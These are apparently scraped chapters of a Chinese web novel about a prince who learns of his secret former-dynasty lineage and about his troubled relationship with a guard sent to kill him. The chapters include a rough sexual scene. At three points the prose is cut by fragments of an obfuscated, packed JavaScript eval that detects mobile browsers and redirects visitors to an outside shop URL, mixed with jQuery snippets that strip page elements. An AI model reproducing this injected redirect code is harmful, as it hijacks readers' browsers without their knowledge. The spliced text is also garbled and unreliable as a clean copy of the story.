旁人目光愈发微妙,封歧只觉百口莫辩。他迎上少女那双眼睛,心中忽有所动,不再接话,只抬眼四顾。 一旁庞绥立时领会了主子的意思,忙上前一步:“卑职有事禀奏。”脸上露出一丝为难。 封歧看他一眼,转身往内间走去,强自按捺着不去回应身后那道失落的目光。庞绥跟进来,关上门,低声将这一夜发生的事简要奏禀。 他领了人手快马加鞭,半夜时分便抵杨柳村。彼时夜深人寂,鸦雀无声,他先命手下散开,将村落四面围住,而后举起火把闯入村中,挨家挨户搜查。 但这番搜查却毫无所获,除了信仰启明仙君,这个村子里似乎都是普通人。就在他们搜完东北角最后一户人家,要无功而返时,厢房墙壁上忽然推开一道暗门,这少女端坐门后,不顾那家农户煞白的面色,自陈她就是他们要找的人。 “当时她还不是现在这个样子,看起来挺正常的,”庞绥挠挠脑袋,“因她这样无法骑马,我在村子里找了辆牛车载她。行到半途,她忽然幽幽哭起来,停下后整个人便如换了个人一般,言行古怪单纯,仿若心智有缺,无法交流……” 回到外厅,封歧心中已有了大致猜测。他噙了一抹温和笑意,迎着少女阿难期冀的目光走过去。阿难立时咧嘴笑得灿烂:“爹爹,你终于回来看阿难了!” “嗯,”封歧轻抚她发顶,语调蔼然,“你可知爹爹这些时日去了何处?” 一旁,韦良辅以手肘拐了拐房主簿,神色古怪。殿下当真阴险,连个傻姑娘都哄。 房主簿清了清嗓子,目不斜视,不予回应。 阿难说:“爹爹,阿难好想你。” 封歧一顿,又唤:“阿难……” 阿难忽而委屈起来,小嘴一扁:“你说了要给阿难带布娃娃,为何没有。” 封歧这才明白庞绥口中的“无法交流”是何意,这少女似乎沉溺在自己的天地里,旁人的话入不得她的耳。不过她既曾神智清明,或许这般情状只是暂时的。封歧直起身,不再勉强,向绪承安吩咐道:“先带她去寻间空屋子安顿,派人把守,不得有失。” 绪承安与庞绥一齐领命而去。 至午时前后,阿难忽然恢复了神智,主动央下人请楚王来见。 不一会儿,楚王应邀而至。阿难看着踏入屋中的男人,纵使他确如传闻中一般气度非凡,却摇头道:“我要见楚王。” 徐青含笑不语,垂首拱手让至一边,藏于门外的男人施施然现身。 方才假扮楚王之人已是世间少有的出尘之姿,可在这人的对比下,却显得有些青涩。 阿难看着他,轻声道:“请殿下屏退左右,民女有话要跟殿下说。” 庞绥忙道:“不可!” 封歧也在端详她。 她的眼神清明,却仿佛笼上一层薄雾,看向自己的时候,神情里不知不觉地带上几分超出年龄的忧愁,这样的神情在她尚显稚嫩的脸庞上并不违和,反而令清丽出尘的五官显出慈悲的神性。怪不得村人对她的“圣女”身份坚信不疑。 封歧道:“你认识本王。凭何?” 阿难不语。 封歧便道:“你们出去。她若要害本王,在杨柳村的时候就动手了。” 等其余人退去,屋门紧闭,阿难开口,第一句就掷下惊雷。 “殿下,你我都有前朝赵氏血脉。若论辈分,你是我叔父。” 一个时辰后,楚王推门而出。无人知晓二人在屋内谈了什么,竟费了这般长久。守在院口的庞绥好奇望去,只见殿下神色如常,辨不出喜怒。 楚王吩咐院中下人好生照看赵阿难,又命庞绥调拨更多护卫,将院子围得水泄不通,方离去。 回到自己院中,下人已摆好午膳,封歧一如平日用了饭。饭后,执了那册《石猴大闹天宫》倚上美人榻,翻一页,停一停。约莫翻了十数页,困意渐生,便遣散了屋中婢仆,阖眼小憩。 室中再无旁人,封歧睁开眼,脸上什么表情也无。 “……大夏日益强盛,眼见复国无望,明泰十八年,他们另辟蹊径,想出了一个计划。”赵阿难的话犹言在耳。 如果皇宫里出现一个赵氏血脉的皇子,而他们再将他扶上帝位,这江山,不就重新姓赵了吗? 赵颐便是怀着这样艰巨的使命,改名换姓,耗尽了组织无数人脉关节,终于成功跻身左羽林卫。又花了一年光景,凭借清俊的皮囊和几句酸诗,引诱了当时明泰帝的宠妃盛氏。 二人苟且不足三个月,盛氏怀上了一个孩子。 明泰二十年春,孩子出世,蒙在鼓里的明泰帝欣喜不已。因盛氏兄长时任首辅,权倾朝野,明泰帝对他们母子越发上心,光是取名就纠结了半个月,最后定下“祈”字,祈求此子一生平安顺遂。满腔慈父之心,尽注于此。 可是好景不长,后宫中的勾心斗角尤甚前朝,盛氏宠冠后宫,不知有多少眼睛暗中盯着。而盛氏一颗心全都沦陷在了所谓的爱情里,纵使赵颐多番提出分开,盛氏死都不愿,又用襁褓里的孩子要挟,不许赵颐离开。 就这样,二人纠缠不清,终于东窗事发,被宫人撞破。 那年天公不作美,暴雨连月不休,黄河决堤,与淮水汇于一处。整个黄淮之地尽成泽国,死伤无算。 民间哀鸿遍野,皇宫里亦是嚎哭一片。皇家丑闻秘不外宣,一百余知情宫人枉送了性命。鲜血染透白玉阶石,大雨泼天泼地冲了三日,方得洗净。 幸而事发之际,盛氏身边掌事宫女见机尚快,传了口信出宫,递到了内阁首辅盛万年手上。盛首辅得信,连官服都来不及更换,便匆匆赶入宫中。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533652|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 面对盛怒的天子,盛万年拜倒在地,声音沉定,不见半分惊惶:“陛下,此事若传扬出去,是皇家奇耻,亦是盛氏灭门之祸。臣蒙陛下不弃,忝列首辅十载,素知天威不可犯,舍妹罪无可逭,盛氏阖族不敢求饶。然今黄河决堤,流民百万,朝野汹汹。若此时宫中再生大案,则必兴大狱,动摇朝堂,恐社稷难安。今家门蒙羞,罪在不赦,臣不敢再以首辅自居。然臣亦不敢就此抽身,置陛下于内外交煎之地。唯乞陛下起仁慈之心,以江山为重,暂忍雷霆之怒,留婴孩一命。此恩此德,臣阖族铭于肺腑,世世不忘。臣愿戴罪效死,以报陛下万一。” 这件事以盛氏和奸夫被鸩杀而了结,民间虽未走漏风声,但七皇子的肮脏的出生还是在宫里暗中传遍了。 七皇子年满一岁,须记入皇家玉牒。明泰帝提起御笔,改“祈”为“歧”。歧者,歧路也,其母行之不正,其子歧途而生。 是为封歧。 封歧自有记忆起,便活在旁人的白眼与窃语里。兄弟辱他,宫人轻他,明泰帝看他的目光只有厌憎。打骂、克扣、罚跪等等,那些明里暗里的折磨日复一日。他从不争辩,也不求饶,因为他很早便明白,求也无用。有时他蜷在冰冷的偏殿里,望着房梁上灰蒙蒙的蛛网,会想:若就这样死了,大约也不会有人伤心。 他是怎么从那不见天日的岁月里爬出来的,是怎么熬过遍体鳞伤变得坚不可摧的,他都快忘了。 而现在,突然有人告诉他,这一切原来并非天命不公,而是有人怀着野心,将他铸成棋子。 明泰帝恨他,因为他是背叛之物;兄弟们唾弃他,因为他是不洁之人。赵氏对他不闻不问,因为他已无可利用。 他们有苦衷有大义,他们不痛不痒,到头来只有他一个人在泥淖里挣扎半生。 也许只有舅舅盛万年真切地关爱过他……不,倘若盛万年得知他有前朝血脉,必然不会保他。对那个男人而言,家国比亲情更重要。 从前,封麟将他从泥淖中拉了出来,他便感激涕零,捧出一腔真心。可后来,连封麟也背弃了他。 他的一生像个笑话。 日暮降临,封歧再次去见赵阿难。 赵阿难对他的再次来访早有预料,推着轮椅从窗前回过身,看着他,神情悲悯。封歧站立不语,神色岿然,不动如山,任她打量。过了会,赵阿难开口:“叔父。” “不要那样唤本王。” 听他自称,赵阿难稚气未褪的脸上现出一抹讥诮。 封歧却不为所动。 他出身低贱。他身份尊贵,他是高高在上的楚王,一人之下万人之上,尊享荣华。 他一无所有。他手握兵权,他门下有无数文臣勾连,就连皇帝也要暂避锋芒。 他必须是楚王,任何人都休想再将他拉下高台。 对视须臾,赵阿难垂下眼帘:“殿下。” 封歧淡道:“本王问你,前段时间本王遇刺,可是兴乾会所为?” 赵阿难:“是。” “高丽使团遇难呢?” “亦是。” 封歧闭了闭眼:“那就奇怪了。按你所说,本王不过赵氏弃子,二十多年间不闻不问,为何要在这时对本王下手?” 赵阿难:“那就说来话长了……” 16. 第 16 章 对赵氏余党而言,时间越久,他们的复国梦越发遥远。大夏立国已逾数代,根基日固,百姓安居,谁还记得百年前的赵家?若再不有所动作,待他们这代人死尽,赵氏便当真要从世间抹去了。 自古改朝换代,总离不了鬼神授意、天命所归。百姓愚昧,笃信天意,那他们便造一个天意。于是赵氏组建兴乾会,推举嫡系为“启明仙君”,那人正是赵阿难的父亲赵世安。 赵世安生得清癯儒雅,谈吐不俗,扮作仙君降世,竟真有些唬人。 赵世安膝下只得一女阿难。她生来体弱,不良于行,偏又自幼聪慧过人。赵世安怜她孤苦,将兴乾会中诸多秘辛都告诉了她,偶尔也带着她出面,以“圣女”之名示于信众。村人见她小小年纪便气度超然,更信她是仙君骨血,愈发虔诚供奉。 就这样,早在朝廷察觉之前,兴乾会已于暗处经营多年,借鬼神之名施小恩小惠,又暗中行那坑蒙拐骗之事以资敛财,在南直隶诸府县渐成气候。 他们准备先在民间扎下根基,待信众广布、财力充裕之日,再寻机翻覆朝堂。 这本是一局漫长而隐秘的棋,原可徐徐图之。 然而兴乾会内部并非铁板一块。赵氏传至今日,嫡系人丁凋零,旁支却枝叶繁盛。赵世安有个族弟,名叫赵明晦,狼子野心,手段狠厉,主张速成大事,两派积怨已久,只差一个爆发的引子。 半年前的某天,赵世安驳回赵明晦的激进之策,当众斥他“急功近利,恐毁多年基业”。赵明晦当场不言,心中却动了杀心。他深知赵世安在会中威望无人能及,只要这尊“仙君”还活着,他便永无出头之日,于是伺机杀死了赵世安。 然而赵明晦虽然夺了权,却无服众的声望。会中暗流涌动,元老不甘受制于一个弑兄篡位之人,渐渐生出了另寻明主的心思。可赵氏嫡系人丁寥落,赵阿难年幼又是女儿身,还有谁堪当大任? 有人想起了一个孩子。 当年赵颐与盛氏所出之子。 若论嫡庶亲疏,他才是如今赵氏嫡系仅存的男丁。更何况他如今权势在握,若能将此人争取过来,兴乾会何愁大事不成? 这念头一经生出,便如星火燎原,在元老之间暗暗传开。他们一面与赵明晦周旋,一面筹划如何与楚王接触。可赵明晦也不是蠢人,很快便察觉了端倪。 他辛苦夺来的基业,岂能拱手相让?那些老东西想请楚王入局,他便先送楚王一副棺材。 恰好楚王也不知得罪了何人,屡次遇刺,赵明晦浑水摸鱼,也派出死士。偏生楚王命硬,几番都化险为夷。 赵明晦恨极,愈发不择手段。恰逢高丽使团来朝,他便遣人暗通高丽大王子。那大王子素与主战派亲近,早有不臣之心,双方一拍即合,里应外合纵火烧死六王子一行,此举既能打压楚王,又能动摇大夏与高丽的邦交,搅得边境不宁,兴乾会便可趁乱起事,真可谓一石三鸟,歹毒之极。 说完这些,赵阿难有些气喘,推着轮椅到桌边。这时,楚王提起茶壶,先倒了杯茶摆到她跟前。 赵阿难一愣:“多谢殿下。” 她捧着茶杯,小口浅啜,目光时而不着痕迹地落向楚王。赵氏族人无不俊俏,楚王尤为其中翘楚。爹爹与他有六分相像,偏那一身雍容气度望尘莫及。 看着看着,忽然撞上楚王投过来的视线。那是一双怎样的眼,喜怒不辨,洞彻人心。赵阿难背后一寒,不由自主垂下眼帘。 待赵阿难歇得差不多时,楚王问:“你主动出面,告知本王这些,又有何目的?” 赵阿难沉默了片刻,抬起眼,眸子里闪过一抹恨意。 “殿下问我有什么目的,”她将茶杯缓缓搁回桌上,“赵明晦杀了我爹,夺了他的基业,如今还想踩着万千人的尸骨去做他的皇帝梦。这样的人,也配称天命?他若得势,莫说百姓遭殃,便是赵氏仅剩的这点血脉,也要被他败得干干净净。” 她置于膝盖上的手指攥紧:“就为我爹,我也要他不得好死!” 封歧没有接话,只是静静地望着她。赵阿难平复了一下气息,才继续说了下去。 “其实我爹在世时也曾犹豫过。他亲眼看着信众倾家荡产来供奉,并非无愧。他私下跟我说过,兴乾会走到这一步,早已面目全非,只是他身在局中,背负了太多人的期望与性命,无法回头了。我原本也没想过找上殿下您,赵明晦的人将我软禁在杨柳村,那天你出现,我一眼就认了出来,我知道,这恐怕是我唯一的机会……” 封歧:“早就想问,你为何一眼就能认出本王?” “我在长老那里见过您的画像。” 封歧轻轻颔首:“这么说,本王自来南都后,一举一动都在兴乾会的眼里。” 赵阿难:“殿下不必担心。寻回您这件事乃几位元老秘密筹谋,知道的人不多,见过您画像的人更是寥寥。楚王千岁的玉颜岂是那般好见的,阿难听说,南直隶的官员但凡有机会入京,都曾往楚王府求见,只是几乎都铩羽而归。” 封歧看着眼前的少女,心情有些复杂。 她小小年纪,如此早慧,心思也深沉。慧极必伤,难怪看起来病恹恹的。她说到父亲时,眼底有水光一闪而过,虽掩饰过去,封歧还是察觉到了。 封歧忽然上前,轻轻抚了抚她的脑袋。 赵阿难呆住,身子细细地打颤,眼圈泛红,好容易才按捺下去。 封歧道:“你且安心在此住下,本王会保你周全,至于你说的事,本王自会查证。” 说完,封歧略一犹豫,打算暂且离开,给这个小姑娘一些独处的余地。不想赵阿难忽然喊住他:“叔父!” 这一声叔父与前次不同,封歧顿了一顿,未曾驳回。 阿难拽住他袖子,仰面道:“南直隶有一些官员与赵明晦勾结,您要查证,可从他们入手。” 院子外庞绥正与一个男人谈天,封歧走过去,二人忙对他行礼。 封歧道:“醒了?吃午饭了没?” 十七答:“谢殿下关怀,卑职吃过了。”因南都非楚王势力所及,唯恐夜间生变,十七彻夜守夜,不敢阖眼,白日方得补眠。他睡了一早上,午时醒来,听闻殿下关在屋中问话,便先去厨下寻了些吃食,填饱肚子才赶过来。 庞绥瞧瞧这个,又瞧瞧那个,心想咱们殿下还是太体贴了,竟连属下衣食都悉心问顾,实在令人感动。唔,只是为何没有关心过他?莫非他这殿下身边第一人要被后来者居上了吗? 这么一想,庞统领看十七的眼神瞬间充满斗志,抖擞精神道:“殿下,方才几位堂官联袂拜访,徐公子正在前厅招待他们。” 封歧知道他们必然是为昨夜护卫大动干戈地出城之事而来,却无前去应付的意思,反正有徐青扮演的楚王出面。 回到房间,封歧在书桌前坐下。与别人在一处时,为不流露丝毫异状,须得时时凝神,无暇乱想。此刻孤身一人,压下去的情绪再无阻拦,汹涌决堤。 然而情绪浓烈到了极致,反倒消逝无踪,只剩一片麻木。他枯坐半晌,满心茫然。半日之前还那样浓烈的恨与怨,不知去了哪里,只觉自己像一阵风,飘飘荡荡,无可归处。 他骤然起身,猛地将桌上物什拂落在地,砚台笔洗叮呤咣啷作响,碎片四溅。他撑在桌上大口喘息,忽有一种无力之感,夹杂着暴戾席卷全身。有那么一瞬,他想把触目所及之物全都砸碎,包括高高在上的命运。 “……殿下。” 十七听到声音,在屋外担忧不已。 封歧忽然命令:“进来。” 十七推门而入,看到一地狼藉,顿时一惊,下意识走近查看楚王状况:“殿下,您没事吧?” 封歧仍旧保持着双手撑在桌面的姿势,身体紧绷,头颅低垂。“过来。”他说,声音却仍是平静的。 待十七依言行至身侧,楚王抬起头,面上什么表情也无,只问:“你喜欢本王?” 十七浑身一震,立时跪地:“……卑职知罪。” “本王问你,是不是喜欢我?你一次也不曾开口承认过,是否又是本王会错了意?” 十七艰难道:“不,卑职……当真……” “就这般难以启齿么?喜欢本王是什么见不得人的事吗?”封歧笑出声,“本王就这么不值得,不值得……”话音渐收,自尊阻拦他继续说下去。 “殿下……” 封歧收了笑,直起身,冷声道:“滚出去。” 十七僵硬片刻,慢慢起身,就在他走到门边时,听到楚王在身后道:“吩咐下去,本王已深刻反思己过,明日动身回京师。” 高丽使臣遇害一案已有线索,他迫不及待要回到京师,回到权力中心,做高高在上的楚王。 十七不知想到什么,按在门上的手停滞一瞬,方应下,推门而出。 日落之时,北风呼呼撞着户牖,半点也不停歇。停了一日的小雪又洋洋洒洒地飘落,等到天色完全暗下来,已成鹅毛大雪。天地不仁,万物萧索。 封歧好不容易睡过去,半夜忽然惊醒,只见一道高大的黑影单膝跪在床边,手里握着一柄雪亮的匕首。 刚睡醒的大脑瞬间清明,他分明看不清黑影的五官,却仍是笃定地开口:“十七。” 黑影轻轻嗯了一声。 封歧怒极反笑,柔声问:“这是何意?” 十七平铺直叙:“离京前夕,陛下身边的于公公于一家酒馆见了卑职,命卑职奉口谕刺杀您,不得让您活着回京。” 封歧点点头:“本王知道。你这么久不动手,本王还以为你……呵。” 十七静道:“殿下什么都知道。”语调平缓,不见半点诧异,大抵在他心里,楚王总是如此料事如神,无所不知。 封歧:“是本王下令明日回京,才促使你今夜动手的吗?” 十七沉默。 封歧闭上眼,掩去无人可见的失落,忍受着心头说不出的抽痛,轻声道:“原来你也一直在骗我。” 十七:“小的从未,从未,欺骗过您。” “还记得本王问过你,假若向本王持刀之人是你的皇帝主子,你会怎么办。你当时告诉本王,你会挡在刀前。” 十七哑声道:“是。” “就算这把刀是你自己。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17542913|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……是。” “那你还在犹豫什么?”封歧冷冷道。 十七举起手臂,将匕首反握,直指自己的心脏。他早就该动手,只是贪恋着陪在这人身边的时日,一拖再拖,直到这最后一日。 这段时光,是他贪生怕死偷来的,甚至曾与殿下有过一场欢爱,已是上天垂怜。 封歧的视线已习惯了夜色,更何况屋外白雪皑皑,折射进一室荧光,愈显亮堂。说完最后一句,封歧冷眼看着跪在床边的男人,看他嘴唇翕动,似乎有话要说;看他紧闭嘴巴,将所有言语永远地埋藏进心底;看他眼里翻涌着卑微、不甘与痛楚;看他忽然手臂用力…… 封歧猛地起身,打落匕首,讽刺道:“不敢死就不要装腔作势。” 十七心口一窒,低头寻找匕首,冷不防被人一把攥住胳膊,往前一拉。 “不要再用这种眼神看本王!”封歧腾出一只手掐住他的脖子,恨道。 这种眼神,好像有多爱慕、多在乎。可这世上分明无人爱他,无人在意他。所以他才喜爱奢靡的器具,尊荣的排场,他把自己打点得高不可攀,用以掩饰内里的狼狈。 褪下锦衣华服,他其实还是当年跪在风雪里给人让道的七皇子。 十七快要呼吸不过来,不由握住脖子上的手。但也仅仅只是握住,不曾用力,更不挣扎,只是眷恋地看着他的殿下,眼里浮现出遗憾和解脱。 脑海里忽然闪过儿时的事。 小时候家里做佃户,后来年景不好,交不上租子,爹娘被人打死,留下哥哥和他。再后来,哥哥带他在城门口乞讨,被官兵驱逐,被其他乞丐殴打,伤痕累累。那时候有过一个好心的小公子丢下银两,给他哥哥看伤,只可惜伤得太重,不治而亡,那时候的他七岁。 那个好心人就是当今陛下。 后来,城里有大人物挑选健康的男童,他走投无路,也不怕遇到什么拐子,懵懂地报了名,就进了影卫司。 在影卫司,顿顿能吃饱,四季有新衣,训练虽苦,常有同伴丧命,但衣暖食足,每月还有俸禄和休假,对他来说已算十分幸福。训诫他们的指挥使常说,能过上这般富足的日子,要感念陛下。 二十载春秋,感恩与忠诚刻入魂魄,成了他的一部分,至死不可违。皇帝更是对他恩重如山。夹在皇帝和楚王之中的这段日子,是他最煎熬的时候,如若可以一死,当得解脱。 脖子上的手忽然松开,十七重获呼吸,胸口剧烈起伏,大口吸气。 “小的,从未,欺骗过殿下……”他艰难地道,也许是人之将死,其言也善,这个时候,那些一直围绕他的自卑和羞耻消失了。他的心情甚至有些轻松,一吐为快,“小的从未想过伤您,只是不能完成陛下所托,无颜回京,今夜本就打算自裁以谢天恩。区区贱命,死又何惜,只是有些不舍,所以想最后看您一眼,惊醒您是个意外……” 剩下的话再没有说出口的机会,楚王殿下忽然用力将他拽上床榻,“本王回京就把你调离影卫司。”说完,滚烫的吻就粗暴地落了下来。 前一日林中,楚王还是忍耐的,矜持的,并且未曾至最后。可今夜的楚王仿佛变了一个人,他像一位暴君,毫无章法,急于掌控与发泄。 屋外北风越发狂放,胡乱撞击着窗棂。也不知这一场雪,又要冻毙多少百姓。 天地不仁,万物刍狗。有多少怨恨难平,都倾泄在这雪夜里。十七承接了所有的疾风骤雨,咬紧牙关,熟悉的刺痛一下子将他拉回明泰三十八年。可即便如此,心里却十分饱胀满足,他攥紧手指,铭记着此刻的美梦,在满足之余,不知为何又觉出丝丝缕缕的绝望。 人心果然贪得无厌,得到了温度,又开始奢望更加遥不可及之物。 就是这股绝望,撕扯着他,让他放浪形骸,越过那条线,抬臂环住身上人的脖子。 楚王殿下停下动作,眼里戾气褪去,逐渐恢复理智,低下头,轻吻他的额头。 “封麟识人的本事比我只强不弱,何曾指望你杀我,他是恨上你,故意逼你自裁。” 十七神情一黯。他又何尝没想到。 封歧看着他的眼睛,漆黑的瞳孔里映着全部的他,只有他。这世上,再无第二个人会这样看他。 “你是我的。” 十七:“只要殿下需要……” 楚王没有发现他的避重就轻,俯首搂紧他,急切地要汲取温度,喃喃道:“我将你调出影卫司,你便不用再左右为难。你是我的,没有我的准许,不许去死。” 不。十七想。就算调离影卫司,背叛皇帝对他来说也是难以想象的罪过,余生将饱受拷问,负疚至死……可眼前这个男人看起来这样脆弱孤独,仿佛自己若拒绝,他就会冰封在这雪夜里。 很久之前,楚王失望地看着他,对他说:你知道我想要的是什么。 是,他知道。 楚王想要他超越对皇帝的忠诚,背弃过去的训诫,只对这一人俯首。所以楚王明明早就可以将他调离影卫司,却一直不做。 可是今夜…… 十七听到自己作出承诺:“是。” 17. 第 17 章 清早,看到仆役收拾箱笼,听说即将回京师,赵阿难呆了一呆,冲到封歧院子里,质问道:“殿下这是何意?难道不打算围剿赵明晦了吗?” 雪后尤冷,封歧正围着狐裘大氅,用红泥小炉煮茶喝。他今日郁色消解,整个人看起来容光焕发,好似春风拂槛,转眼就要入夏了。 十七坐在他身后一点的位置,时不时递个茶勺搭把手。 被赵阿难冲撞,楚王殿下也不放在心上,专注着端详茶汤,漫不经心地答道:“我管他作甚。” “你!”赵阿难既愤怒又失望,连尊称都顾不上了,“我以为昨天跟你说了那些,你总该为百姓着想,任由赵明晦发展壮大,日后大兴战火,多少人要卷入其中。” 封歧抬起眼皮,先对四下道:“你们下去。” 等十七欲起身,却握住手腕不放。十七微怔,不再动作。 封歧沉吟片刻,还是对十七道:“你也……先出去吧。本王要说之事攸关性命,帮本王守着,谁都不能放进来。” 方才留人的是他,现在赶人的也是他,只是对于楚王殿下这种莫名行径,十七素来不会多问什么,依言退出门外。徒留楚王在后面拢了拢衣领,神情叹惋。 赵阿难冷眼旁观,口出讽刺:“殿下贬谪南都,大祸临头,还不忘耽于声色,别的也就算了,连身边的侍卫都祸害。” 封歧的好涵养一夕之间全部归来,闻言只微微一笑:“阿难乖侄日后找到嘘寒问暖的房中人,自然就明白了。” 小姑娘几次三番被打岔,气得不轻,停下争论,缓了又缓,才说道:“你还没回答我先前的问题。” “哦,”封歧点点头,“按你所说,兴乾会知道本王的真实身份,本王若不管不顾地发兵拿人,他们和我鱼死网破,将本王的身世公诸于众怎么办?” 赵阿难僵住,眼神闪烁。 茶汤已沸,封歧一手扶袖,优雅地舀去浮沫,斟了一碗,摆到赵阿难跟前。 “怎么,这不就是贤侄想看到的吗?” 封歧抬起头,看着脸色微微发白的少女,沉着镇定一如往昔,目光却洞若观火:“本王与赵明晦两败俱伤,贤侄坐山观虎斗,不知最后能渔翁得利什么呢?莫非你也在做皇帝梦?大夏传世已近百年,国富民安,想要推翻非一夕之功。还是说……”楚王殿下开始胡言乱语,“你是当今陛下派来的人?思来想去,最大的得益者,只能是他了。难道说,贤侄就好当红娘,为他人作嫁衣裳。” 要论这张嘴,十个赵阿难也说不过楚王殿下。 赵阿难垂下头,双手攥紧腿上布料,浑身发抖。许久,她说:“什么皇位,什么赵氏,我根本不在乎!我恨你,我恨你和赵明晦,巴不得你们都去死!” 她终于不再掩饰,红着眼道:“凭什么爹爹走了他们就要推举你上位!爹爹才走多久,会里已经没有多少人还念着他了,那些长老成天都在念叨你的名字。” 这世间啊,爱与恨最是不讲道理。 封歧垂眸不语,片刻后,取过阿难没有碰的茶碗,牛饮而尽,叹道:“给你真是浪费,都冷了。” 茶壶里的水仍旧滚着,封歧推开横窗,对外唤道:“十七。” 无人应。 封歧莞尔,想那铁疙瘩定是生怕听到谈话,跑院子外守着了,于是端一碗热茶,起身来到庑廊下。中庭外的另一头,果然有道笔挺修长的身影,封歧招了招手,那人便走过来。 “给你的,看看本王的手艺怎么样。” 十七捧过小碗:“……卑职不通这些。” 封歧托住他寒凉的手背,笑眯眯道:“哦,那你喝了暖暖身子。” 语毕,重新晃回屋子,看着哭个不停的小姑娘,有些无奈地摸出帕子,往前一递:“莫哭了,生来故去的,何其寻常。本王瞧你也并非那等钻牛角尖之人,节哀便是。” 回答他的是一声长长的,宛如水壶沸鸣的抽气声。 也不知过了多久,赵阿难才渐渐止住啼哭,只是一时顺不过气,时不时地抽噎一下。 封歧这才出声:“贤侄聪慧远胜常人,必然清楚,若要毁本王名声,坐实身世,单单流言不够。” 赵阿难动作一顿。 封歧慢条斯理:“但本王方才那么一说,你竟没有反驳,可见兴乾会当真有坐实我身世的证据。” 赵阿难:“……” 封歧看一眼她的神色,已知晓了答案。 “贤侄不想开口,那本王只能自己大胆猜一猜了。昨夜本王思索良久,从前涉事宫人早皆灭口,但是有一个人,侥幸从当年之难里活了下来。且那人身份特殊,若她出面作证,本王就算是真的龙子龙孙,也要被说成冒牌的。” 赵阿难看鬼一样看着他。 封歧磕了嗑茶勺,沾在上面的茶叶渣掉落下去,被他用布收好,也不知还有什么用。 封歧道:“那人就是本王母妃身边的掌事宫女。昔年事发,她望风而动,在没有闹将起来之前出宫找到舅舅作援。舅舅知她回宫唯有一死,心生怜悯,留她在府等候消息。后来乱成一团,谁也顾不上是否少了个宫女,她就此保得一命。 舅舅临终前告诉我,当年怕她留在府里惹下祸端,风头稍歇后便送她回了老家,此后再未联系。本王也是昨天听了贤侄的话才想起来,那人的老家就在南直隶,至于哪个府县,本王倒是记不清了。不过兴乾会立足南都,经营近百年,想必在南直隶寻一个人不在话下罢。” 赵阿难心服口服:“不错……嗝……曹氏如今就在我兴乾会里好生荣养。但……嗝……殿下若要问我她的具体藏身之处,我也不知道……嗝……赵明晦上位后一直提防着我。” 这时,门外传来脚步声,十七高声道:“殿下,庞统领来了。” 庞绥身为封歧近卫,还是第一次被人防贼一样拦着,颇为不高兴地瞪了眼十七。等楚王隔门出声放行,十七才让开身形。庞绥走上台阶,推门而入。 “殿下,南都六部堂官、应天府府尹等人全都来了。” 封歧凝眉:“又来作甚么?” “他们不知从哪里听说了殿下欲动身回京师一事,前来阻拦。如今徐公子正在前厅周旋。” 正说着,又一位侍卫匆匆赶来,急切地道:“殿下,不好了,都察院的孙御史领着兵马司的人把门口围起来了!” 赵阿难下意识看了眼封歧,不因别的,这位孙御史正好是赵明晦勾连的官员之一。却只见到封歧神情镇定,眼帘微垂,不知在想什么。 阿难探出上半身,握住封歧垂落的广袖,顾及有人在场,只讽道:“乌龟王八偷了明珠,打草惊蛇,想缩进壳里,那癞皮蛇却未必肯放过它。”说完,顿觉扳回一城,舒畅不已。 这丫头倒是好不要脸,他二人一个王八一个癞皮蛇,却把自己比作明珠。只她不知有没有想到,乌龟王八回京这样仓促,亦有将错就错,引蛇出洞之意呢? 封歧心下好笑,表面不动如山,安抚地拍了拍她的手,这动作反令小姑娘愣怔,变得有些不知所措。 封歧这才摘下她的手,吩咐道:“来人,替本王更衣。” 前厅里,徐青端坐主位,锦衣玉冠,神色从容。他面前站了七八位官员,打头的是应天府尹周崇安,还有六部堂官并都察院右佥都御史孙懋。众人面上倒还端着官场礼数,可寒暄过后,几番机锋下来,渐渐匕现。 周府尹年过半百,须发花白,说明今日来意:“殿下奉旨来南都思过,无圣谕召还而擅自回京,便是违制,臣等不敢阻拦殿下,只请殿下三思。” 徐青端起茶盏,不疾不徐地吹了吹浮沫:“周大人言重了。本王来南都本是为行宫失火一事自省,如今案情已有眉目,回京面圣详陈案情,难道不是为人臣子的本分?” 周崇安身后一名侍郎接过话头:“殿下既有案情进展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551559|203336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,何不将案卷移交有司,由通政司转呈御前?何必亲自奔走,这不合规矩。” 徐青放下茶盏,目光在那郎中面上轻轻一扫:“规矩是死的,人是活的。此案牵扯甚广,其中利害,怕不是一纸公文说得清的。” 